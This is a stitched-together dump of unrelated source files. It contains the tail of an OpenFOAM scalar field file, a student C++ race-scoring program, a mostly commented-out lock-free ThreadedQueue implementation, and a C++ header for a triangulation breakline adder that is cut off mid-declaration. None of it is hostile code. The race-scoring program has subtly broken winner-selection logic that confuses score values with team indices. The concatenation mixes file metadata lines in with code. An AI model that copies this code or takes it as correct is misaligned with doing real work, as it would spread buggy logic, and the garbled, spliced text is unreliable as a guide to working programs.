1 0.999998 0.999998 0.999998 0.999995 0.999993 0.99999 0.999985 0.999978 0.999972 0.999965 0.999949 0.999939 0.999926 0.99991 0.999905 0.999904 0.99992 0.999964 1.00005 1.0002 1.00045 1.00082 1.00139 1.00219 1.00331 1.00481 1.00678 1.00926 1.01232 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 1 0.999999 1 1 1 1 1 1 1 1 1 0.999998 1 0.999999 0.999997 0.999999 0.999995 0.999994 0.999993 0.999986 0.999983 0.999977 0.999966 0.999957 0.999947 0.999934 0.999922 0.999912 0.999911 0.999919 0.999946 1.00001 1.00012 1.00031 1.0006 1.00103 1.00166 1.00254 1.00372 1.00529 1.0073 1.00979 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 1 1 0.999999 1 0.999999 1 0.999999 0.999999 0.999997 0.999997 0.999995 0.999992 0.999991 0.999984 0.99998 0.999973 0.999962 0.999954 0.999942 0.999931 0.999924 0.999917 0.999919 0.999942 0.999982 1.00007 1.0002 1.00042 1.00075 1.00124 1.00192 1.00284 1.00408 1.00567 1.00768 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 1 1 0.999999 1 1 0.999999 0.999999 0.999998 0.999997 0.999995 0.999995 0.99999 0.999987 0.999983 0.999976 0.999969 0.99996 0.999952 0.999939 0.999931 0.999927 0.999925 0.999938 0.999971 1.00002 1.00013 1.00029 1.00054 1.00091 1.00143 1.00215 1.0031 1.00435 1.00594 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 1 1 1 0.999999 1 1 0.999998 1 0.999997 1 0.999998 0.999997 0.999998 0.999994 0.999992 0.99999 0.999987 0.999978 0.999975 0.999967 0.999956 0.999951 0.99994 0.999933 0.999934 0.99994 0.999959 1 1.00008 1.0002 1.00039 1.00066 1.00106 1.0016 1.00234 1.0033 1.00453 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 1 1 1 0.999999 1 1 1 1 1 1 1 0.999999 1 0.999999 1 0.999998 0.999996 0.999997 0.999993 0.999992 0.999987 0.999985 0.999976 0.999974 0.999963 0.999957 0.99995 0.999943 0.99994 0.999945 0.999957 0.999987 1.00004 1.00013 1.00027 1.00048 1.00077 1.00118 1.00174 1.00247 1.00342 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 0.999999 0.999999 0.999998 0.999997 0.999995 0.999994 0.999989 0.999985 0.999985 0.999974 0.999972 0.999964 0.999957 0.999953 0.999948 0.999948 0.999959 0.999979 1.00002 1.00008 1.00019 1.00034 1.00056 1.00087 1.00128 1.00184 1.00255 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 1 1 1 0.999999 1 1 0.999999 1 1 1 1 0.999999 1 1 1 1 0.999999 1 0.999997 0.999997 0.999997 0.999992 0.999995 0.999988 0.999984 0.999984 0.999973 0.99997 0.999965 0.99996 0.999955 0.999957 0.999962 0.999976 1 1.00005 1.00013 1.00024 1.0004 1.00063 1.00094 1.00135 1.00189 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 1 0.999999 1 1 0.999999 1 0.999999 1 0.999999 0.999999 0.999999 0.999999 1 0.999996 0.999996 0.999998 0.99999 0.999993 0.999989 0.999982 0.999982 0.999976 0.999971 0.999966 0.999964 0.999962 0.999967 0.999977 0.999996 1.00003 1.00008 1.00017 1.00029 1.00045 1.00068 1.00099 1.00139 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 0.999999 1 1 0.999999 1 1 0.999999 1 0.999999 1 1 0.999998 1 0.999998 0.999999 0.999997 0.999996 0.999996 0.999991 0.999992 0.999988 0.999984 0.999981 0.999975 0.999973 0.999972 0.999968 0.999971 0.999978 0.999994 1.00002 1.00006 1.00012 1.00021 1.00033 1.0005 1.00072 1.00102 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 1 1 1 1 1 1 0.999999 1 0.999999 0.999999 1 0.999999 0.999999 0.999998 1 0.999997 0.999994 0.999997 0.999991 0.999991 0.999988 0.999984 0.999981 0.999979 0.999976 0.999975 0.999975 0.999982 0.999993 1.00001 1.00004 1.00008 1.00015 1.00024 1.00036 1.00053 1.00074 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 1 1 1 1 1 0.999999 1 1 1 1 1 1 1 0.999999 1 0.999999 1 1 0.999999 1 0.999999 0.999999 0.999998 0.999998 0.999997 0.999996 0.999994 0.999991 0.999991 0.999986 0.999986 0.999983 0.999979 0.99998 0.999984 0.999983 0.999991 1.00001 1.00003 1.00006 1.00011 1.00018 1.00027 1.00038 1.00054 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 0.999999 1 1 0.999999 1 0.999999 1 1 0.999999 1 1 1 1 1 1 1 1 1 0.999998 1 0.999999 0.999999 0.999998 0.999997 0.999997 0.999995 0.999994 0.999992 0.999992 0.999987 0.999986 0.999987 0.999983 0.999984 0.99999 0.999995 1 1.00002 1.00005 1.00008 1.00013 1.0002 1.00029 1.00039 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 1 1 1 1 1 0.999999 1 1 0.999999 1 1 0.999999 1 1 1 0.999999 1 1 0.999998 1 0.999999 0.999998 0.999998 0.999997 0.999996 0.999996 0.999993 0.999993 0.999992 0.999988 0.999988 0.99999 0.999989 0.99999 0.999997 1.00001 1.00002 1.00003 1.00006 1.0001 1.00015 1.00021 1.0003 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 1 0.999999 1 1 0.999999 1 0.999999 1 1 1 1 0.999999 1 0.999998 1 0.999999 0.999998 0.999998 0.999998 0.999995 0.999996 0.999994 0.999993 0.999994 0.999991 0.99999 0.999992 0.999994 0.999998 1 1.00002 1.00003 1.00005 1.00008 1.00012 1.00016 1.00022 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 1 1 1 0.999999 1 1 0.999999 1 0.999999 1 1 1 1 0.999999 1 0.999998 1 0.999999 0.999999 0.999997 0.999998 0.999996 0.999997 0.999994 0.999994 0.999994 0.999994 0.999994 0.999994 1 1.00001 1.00001 1.00002 1.00004 1.00006 1.00009 1.00012 1.00017 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 1 0.999999 1 0.999999 1 1 0.999999 1 0.999999 1 1 0.999999 1 1 1 0.999999 0.999999 0.999999 0.999998 0.999998 0.999998 0.999996 0.999997 0.999996 0.999996 0.999995 0.999996 0.999999 0.999999 1 1.00001 1.00002 1.00003 1.00005 1.00007 1.0001 1.00013 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 1 0.999999 1 0.999999 1 1 0.999999 1 0.999999 0.999999 1 0.999999 1 1 0.999999 1 1 0.999999 1 1 0.999999 0.999999 0.999999 0.999998 0.999998 0.999999 0.999996 0.999997 0.999997 0.999998 0.999997 0.999998 1 1 1.00001 1.00002 1.00003 1.00004 1.00006 1.00008 1.0001 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 0.999999 1 1 0.999999 1 1 0.999998 1 1 1 1 0.999999 1 1 0.999998 1 1 0.999999 0.999999 0.999999 0.999998 0.999999 0.999998 0.999997 0.999998 0.999999 1 0.999999 1 1.00001 1.00001 1.00001 1.00002 1.00003 1.00005 1.00006 1.00008 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 1 1 1 0.999999 1 0.999999 1 1 1 1 0.999999 1 1 0.999999 1 1 0.999999 1 0.999999 1 1 0.999998 1 1 0.999999 1 0.999999 0.999998 0.999999 0.999999 0.999998 0.999998 0.999999 1 1 1 1.00001 1.00001 1.00002 1.00003 1.00003 1.00005 1.00007 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 1 1 1 0.999999 1 0.999999 1 1 0.999999 1 1 0.999999 1 0.999999 1 1 0.999998 1 0.999999 1 1 0.999999 0.999999 1 0.999999 0.999999 0.999999 0.999999 0.999999 0.999999 1 0.999998 1 1 1 1.00001 1.00001 1.00001 1.00002 1.00003 1.00004 1.00005 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 1 1 1 0.999999 1 1 1 1 1 1 1 0.999999 1 0.999999 1 1 0.999999 1 0.999999 0.999999 1 0.999999 1 1 1 0.999999 0.999998 1 1 0.999998 1 1 1 1 1.00001 1.00001 1.00001 1.00002 1.00003 1.00003 1.00004 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 1 1 1 0.999999 1 1 0.999999 1 0.999999 1 1 0.999999 1 0.999999 0.999999 1 0.999999 1 1 0.999999 1 0.999999 1 0.999999 1 1 0.999998 1 1 0.999999 1 1 1 1.00001 1.00001 1.00001 1.00002 1.00002 1.00003 1.00003 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 1 1 1 1 1 0.999999 1 1 1 1 1 1 1 0.999999 1 1 0.999999 1 1 1 1 1 1 0.999999 1 1 0.999999 1 0.999999 0.999999 1 1 1 1 1 1.00001 1.00001 1.00001 1.00002 1.00002 1.00002 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 1 0.999999 1 1 1 1 0.999999 1 1 1 1 1 0.999999 1 1 1 0.999999 1 0.999999 0.999999 1 1 1 1 1 1 1 1.00001 1.00001 1.00001 1.00001 1.00002 1.00002 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 1 0.999999 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 1 1 0.999999 1 1 0.999999 1 1 1 1 1 1 1 1.00001 1.00001 1.00001 1.00001 1.00002 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 1 1 1 0.999999 1 1 0.999999 1 1 1 1 1 0.999999 1 1 1 1 1 0.999999 1 1 1 1 1 1 1 1.00001 1.00001 1.00001 1.00001 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 1 0.999999 1 0.999999 1 1 1 1 1 1 1 1 1 0.999999 1 1 1 1 1 1 1 1 1.00001 1.00001 1.00001 1.00001 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 1 1 1 1 1 0.999999 1 1 0.999999 1 1 0.999999 1 1 0.999999 1 0.999999 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1.00001 1.00001 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 1 0.999999 1 0.999999 1 1 1 1 1 1 1 1 1 1 0.999999 1 1 1 1 1 1 1 1.00001 1.00001 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 1 0.999999 1 0.999999 1 1 1 0.999999 0.999999 1 1 1 1 1 1 1 1 1 1 1 1 1 1.00001 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 0.999999 1 1 1 1 1 1 1 1 1 0.999999 0.999999 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 1 1 1 1 1 1 0.999999 1 1 0.999999 1 1 1 0.999999 1 1 1 1 1 1 1 0.999999 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 1 1 1 1 1 1 0.999999 1 1 1 1 1 1 1 1 1 0.999999 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 1 1 1 1 1 0.999999 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 1 1 1 1 1 1 0.999999 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 0.999999 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 0.999999 0.999999 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 0.999999 0.999999 0.999999 0.999999 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 0.999999 0.999999 0.999999 0.999998 0.999998 ) ; boundaryField { emptyPatches_empt { type empty; } top_cyc { type cyclic; } bottom_cyc { type cyclic; } inlet_cyc { type cyclic; } outlet_cyc { type cyclic; } procBoundary0to1 { type processor; value nonuniform List<scalar> 75 ( 1.03383 1.03656 1.03906 1.04122 1.04292 1.04406 1.04453 1.04426 1.04319 1.0413 1.03864 1.03532 1.03152 1.02745 1.02337 1.01948 1.01593 1.0128 1.01012 1.00789 1.00607 1.00461 1.00346 1.00257 1.0019 1.00139 1.00101 1.00074 1.00054 1.0004 1.0003 1.00022 1.00017 1.00013 1.0001 1.00008 1.00007 1.00005 1.00004 1.00003 1.00003 1.00002 1.00002 1.00001 1.00001 1.00001 1.00001 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 0.999999 0.999999 0.999998 0.999998 ) ; } procBoundary0to1throughinlet_cyc { type processorCyclic; value nonuniform List<scalar> 75 ( 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 ) ; } procBoundary0to2 { type processor; value nonuniform List<scalar> 75 ( 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 1 1 0.999999 0.999999 0.999999 0.999997 0.999997 0.999995 0.999991 0.999988 0.999982 0.999973 0.999963 0.999951 0.999935 0.999923 0.999914 0.99992 0.999956 1.00005 1.00024 1.00059 1.00119 1.00216 1.00368 1.00593 1.00914 1.01348 1.01902 1.02553 1.03238 1.03853 1.0428 1.04428 1.04262 1.03801 ) ; } procBoundary0to2throughbottom_cyc { type processorCyclic; value nonuniform List<scalar> 75 ( 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 0.999999 0.999999 0.999999 0.999999 0.999998 0.999997 ) ; } } // ************************************************************************* //
bb4005cfacbbaddcf2e0db7824993ba745510758
a832b2a80f1bf1d7d239bf21035f7612e3ed72d6
/AhmedNabila-3-score.cpp
b3c137c805253cc5c1778f4b034e7a37e51069fc
[]
no_license
nabila12/CSCI-211-Fall-2017-projects
1d7a8430215a957a5c3a48cabffd7e114cc6405c
9492fe688c901ebbad253326c92880bc1153a742
refs/heads/master
2021-05-05T02:18:47.227196
2018-01-31T17:57:45
2018-01-31T17:57:45
119,722,997
0
0
null
null
null
null
UTF-8
C++
false
false
2,917
cpp
AhmedNabila-3-score.cpp
#include <iostream> #include <algorithm> using namespace std; int main() { while (true) { string outcome; cout << "Enter the race outcome in uppercase or enter done to quit"<< endl; // If the user entered "done", exit the program. cin >> outcome; if (outcome == "done") { return 0;} int numTeams = 0; // The number of teams int players = 0; //players per team double scores[26] = {0}; // scores[i] keeps track of the total score of team i int counts[26] = {0}; // counts[i] keeps track of the number of runners on team i for ( int i = 0; i < outcome.length(); i++) { counts[outcome[i]- 'A']++; } bool canContinue = true; for (int i = 0; i<26; i++) if (counts [i]!= 0){ numTeams++; } cout<<"the number of teams is "<<numTeams<<endl; // Print the number of teams for (int i = 0; i<26; i++){ if ( counts[i] !=0 && players == 0){ players = counts[i]; } if (counts[i] !=0 && players !=0){ if (counts [i] != players) { cout << "error"<< endl; // If the teams do not all have the same number of runners, PrintS an error message and ask for input again (goes back to the beginning of the loop) canContinue= false; } } } if (canContinue ==true){ cout<<"The number of players per team is "<<players<<endl; // Prints the number of runners on each team cout<<"Team"<<" "<<"Score"<<endl; int temp=25; for ( int i = 0; i < outcome.length(); i++){ scores[outcome[i]- 'A'] += i+1; if(temp>scores[i] && scores[i] !=0) { temp=i; } } for ( int i = 0; i < 26; i++){ if ( scores[i] != 0){ scores[i]= scores[i]/players; cout<<(char)(i+65)<<" "<<scores[i]<<endl; } } cout<<"The winning team is team "<<(char)(temp+65)<<" with the score of "<<scores[temp]<<endl; } // For each letter from A-Z, // If that team participated, // Print the name of the team and its average score // Also keep track of which team(s) has the best score // Print the name of the winning team and its average score (if it's a tie, you may either pick one arbitrarily or print all of the winners) } return 0; }
12aa9707a6796f02413706eae0fa01acff964355
3732671813f753fee15c6f57d0bbdbd4990ccb55
/src/ThreadedQueue.cpp
d872bef1da74461148c2cf2abd10e5cc0b053258
[]
no_license
unstillable/guide-to-multitasking
a23e874c5d2c6bc9648430913fea560d1a1b814a
fbff352496f84c61ca2f2044f4c953a7760a0d36
refs/heads/master
2021-04-15T16:39:53.044355
2020-05-12T02:06:12
2020-05-12T02:06:12
126,389,490
0
0
null
null
null
null
UTF-8
C++
false
false
1,677
cpp
ThreadedQueue.cpp
#include "ThreadedQueue.h" //template <class T> //ThreadedQueue<T>::ThreadedQueue(Node<T>* placeholder): ConcurrentQueue<T>(placeholder) //{ //} template <class T, class fout> ThreadedQueue<T, fout>::ThreadedQueue(T placeholder):ConcurrentQueue<T>(placeholder) { } // ////duplicate code is sloppy, but this is a hard problem. //template <typename T> //void ThreadedQueue<T>::enqueue(T* data) //{ // Node* node = new Node(data); // pointer tail; // while (true) // { // tail = this->Tail.load(); // pointer next = tail.ptr->next.load(); // if (tail == Tail.load()) // { // if (!next.ptr) // { // if (tail.ptr->next.compare_exchange_weak(next, pointer{ node, next.count + 1u })) // break; // // } // else // { // Tail.compare_exchange_weak(tail, pointer{ next.ptr, tail.count + 1u }); // } // } // } // Tail.compare_exchange_weak(tail, pointer{ node, tail.count + 1u }); //} // ////duplicate code is sloppy but this is a hard problem. could just inherit... //template <typename T> //bool ThreadedQueue<T>::dequeue(T* dataOut) //{ // pointer hd; // while (true) // { // hd = std::atomic_load(&head); // pointer tl = std::atomic_load(&Tail); // pointer next = hd.ptr->next.load(); // if (hd == head.load()) { // if (hd.ptr == tl.ptr) { // if (!next.ptr) // return false; // Tail.compare_exchange_weak(tl, pointer{ next.ptr, tl.count + 1 }); // } // else // { // *dataOut = next.ptr->data; // if (head.compare_exchange_weak(hd, pointer{ next.ptr, hd.count + 1 })) // { // break; // } // } // } // } // delete hd.ptr; // return true; //}
326fc412a82bb61f682bbb0fc113b74e9f653a28
84433a1d2962bcef0cd6877e315f30bd3485bb00
/xmsgeom/triangulate/TrBreaklineAdder.h
fe25fe0df9e1d8a78c573698271e78c1b33bbd3d
[ "BSD-2-Clause-Views" ]
permissive
Aquaveo/xmsgeom
8e0b9442cf26793736742e2d580dce6d6e9c6b89
bcfbc4a2e0538361290eadc40acadaad378f0b82
refs/heads/master
2020-03-27T04:28:03.488828
2018-10-03T04:50:01
2018-10-03T04:50:01
145,942,146
0
0
NOASSERTION
2019-06-27T15:31:55
2018-08-24T04:25:14
C++
UTF-8
C++
false
false
1,547
h
TrBreaklineAdder.h
#pragma once //------------------------------------------------------------------------------ /// \file /// \ingroup triangulate /// \copyright (C) Copyright Aquaveo 2018. Distributed under the xmsng /// Software License, Version 1.0. (See accompanying file /// LICENSE_1_0.txt or copy at http://www.aquaveo.com/xmsng/LICENSE_1_0.txt) //------------------------------------------------------------------------------ //----- Included files --------------------------------------------------------- // 3. Standard library headers #include <vector> // 4. External library headers #include <boost/shared_ptr.hpp> // 5. Shared code headers #include <xmscore/stl/vector.h> #include <xmscore/misc/base_macros.h> // for XM_DISALLOW_COPY_AND_ASSIGN namespace xms { //----- Forward declarations --------------------------------------------------- class Observer; class TrTin; //////////////////////////////////////////////////////////////////////////////// class TrBreaklineAdder { public: static boost::shared_ptr<TrBreaklineAdder> New(); /// \cond virtual void SetObserver(boost::shared_ptr<Observer> a) = 0; virtual void SetTin(boost::shared_ptr<TrTin> 